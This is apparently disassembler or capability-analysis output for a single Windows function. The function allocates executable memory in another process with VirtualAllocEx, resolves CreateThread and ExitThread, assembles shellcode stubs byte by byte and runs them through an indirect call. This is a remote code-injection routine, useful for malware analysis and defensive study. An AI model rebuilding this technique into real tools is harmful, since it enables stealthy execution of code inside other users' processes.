Function at 0x180012f68
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov eax, dword [rcx + 8]
mov r13, qword [rsp + 0x90]
xor sil, sil
and qword [r13], 0
neg eax
mov rdi, rcx
mov rcx, qword [rcx + 0x18]
sbb r15, r15
mov r12, r8
mov r14, rdx
and r15, 0xffffffffffffffbc
mov edx, 8
add r15, 0x9a
mov byte [rsp + 0x70], sil
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9d, 0x1000
mov r8, r15
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], 0x40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x18001329e
test rbx, rbx
je 0x1800132b4
cmp dword [rdi + 8], 0
je 0x180013137
mov ecx, 0x248
call qword [sym.imp.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__]
test rax, rax
je 0x180013026
mov rdx, qword [rdi + 0x18]
mov r8, r14
mov rcx, rax
call fcn.18000e624
mov rsi, rax
jmp 0x180013028
xor esi, esi
lea rdx, str.kernel32.dll
mov rcx, rsi
call fcn.18000eb8c
mov r13d, eax
test eax, eax
je 0x180013080
lea r8, str.CreateThread
mov edx, eax
mov rcx, rsi
call fcn.18000e770
mov dword [rbx + 0x42], eax
test eax, eax
je 0x180013080
lea r8, str.ExitThread
mov edx, r13d
mov rcx, rsi
call fcn.18000e770
mov dword [rbx + 0x46], eax
test eax, eax
je 0x180013080
mov dword [rbx + 0x3e], r12d
test r12d, r12d
je 0x180013080
mov r12d, 1
jmp 0x180013083
xor r12d, r12d
test rsi, rsi
je 0x180013090
mov rcx, rsi
call fcn.1800132e0
mov r13, qword [rsp + 0x90]
mov sil, byte [rsp + 0x70]
test r12d, r12d
je 0x18001329e
cmp dword [rdi + 8], 0
mov ecx, 0x15ff
je 0x180013193
lea eax, [rbp + 0x4e]
mov word [rbx], 0x6850
mov dword [rbx + 6], 0x5050c033
mov dword [rbx + 2], eax
lea eax, [rbp + 0x20]
mov byte [rbx + 0xa], 0x68
mov dword [rbx + 0xb], eax
lea eax, [rbp + 0x42]
mov dword [rbx + 0xf], 0x15ff5050
mov dword [rbx + 0x13], eax
lea eax, [rbp + 0x52]
mov byte [rbx + 0x17], 0xb8
mov dword [rbx + 0x21], eax
mov rax, qword [rsp + 0x88]
mov dword [rbx + 0x18], 0x90a7face
mov dword [rbx + 0x2b], eax
lea eax, [rbp + 0x3e]
mov byte [rbx + 0x1c], 0x87
mov dword [rbx + 0x31], eax
lea eax, [rbp + 0x46]
mov dword [rbx + 0x1d], 0x68c32404
mov byte [rbx + 0x25], 0x68
mov dword [rbx + 0x26], 1
mov byte [rbx + 0x2a], 0x68
mov dword [rbx + 0x3a], eax
mov word [rbx + 0x2f], cx
mov word [rbx + 0x35], 0xc033
mov byte [rbx + 0x37], 0x50
mov word [rbx + 0x38], cx
jmp 0x18001327f
mov qword [rbx + 0x72], r12
test r12, r12
je 0x18001318b
lea r9, str.CreateThread
lea r8, str.kernel32.dll
mov rdx, r14
mov rcx, rdi
call fcn.1800146b8
mov qword [rbx + 0x7a], rax
test rax, rax
je 0x18001318b
lea r9, str.ExitThread
lea r8, str.kernel32.dll
mov rdx, r14
mov rcx, rdi
call fcn.1800146b8
mov qword [rbx + 0x82], rax
test rax, rax
jne 0x1800130a6
xor r12d, r12d
jmp 0x18001309d
and dword [rbx + 0x18], 0
mov edx, 0xb848
lea rax, [rbp + 0x92]
mov qword [rbx + 7], rax
lea rax, [rbp + 0x46]
mov r9d, 0xec8348
mov qword [rbx + 0x21], rax
mov eax, 0x8748
lea r8d, [rdx + 1]
mov word [rbx + 0x41], ax
mov eax, 0x2404
mov dword [rbx + 1], r9d
mov word [rbx + 0x43], ax
lea rax, [rbp + 0x96]
mov dword [rbx + 0x3d], 0xc48348
mov qword [rbx + 0x4c], rax
mov eax, 0xb948
mov dword [rbx + 0x46], r9d
mov word [rbx + 0x59], ax
mov rax, qword [rsp + 0x88]
mov byte [rbx], 0x50
mov byte [rbx + 4], 0x38
mov word [rbx + 5], dx
mov dword [rbx + 0xf], 0x24448948
mov qword [rbx + 0x5b], rax
mov byte [rbx + 0x13], 0x28
mov dword [rbx + 0x14], 0x202444c7
mov byte [rbx + 0x1c], 0x45
mov dword [rbx + 0x1d], 0xb849c933
mov dword [rbx + 0x29], 0xc933d233
mov word [rbx + 0x2d], cx
mov dword [rbx + 0x2f], 0x47
mov word [rbx + 0x33], dx
mov dword [rbx + 0x35], 0x90a7face
mov dword [rbx + 0x39], 0x90a7face
mov byte [rbx + 0x40], 0x38
mov byte [rbx + 0x45], 0xc3
mov byte [rbx + 0x49], 0x28
mov word [rbx + 0x4a], r8w
mov byte [rbx + 0x54], 0xba
mov dword [rbx + 0x55], 1
mov word [rbx + 0x63], cx
mov dword [rbx + 0x65], 9
mov dword [rbx + 0x69], 0x15ffc933
mov dword [rbx + 0x6d], 0x11
mov byte [rbx + 0x71], 0xcc
and qword [rsp + 0x20], 0
mov r9, r15
mov r8, rbx
mov rdx, rbp
mov rcx, r14
call qword [rdi]
test eax, eax
je 0x18001329e
mov qword [r13], rbp
mov sil, 1
test rbx, rbx
je 0x1800132b4
mov rcx, qword [rdi + 0x18]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1800132c5
lea rdx, str._HeapFree__NULL_n
mov ecx, 0x25d
call fcn.180030818
mov al, sil
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret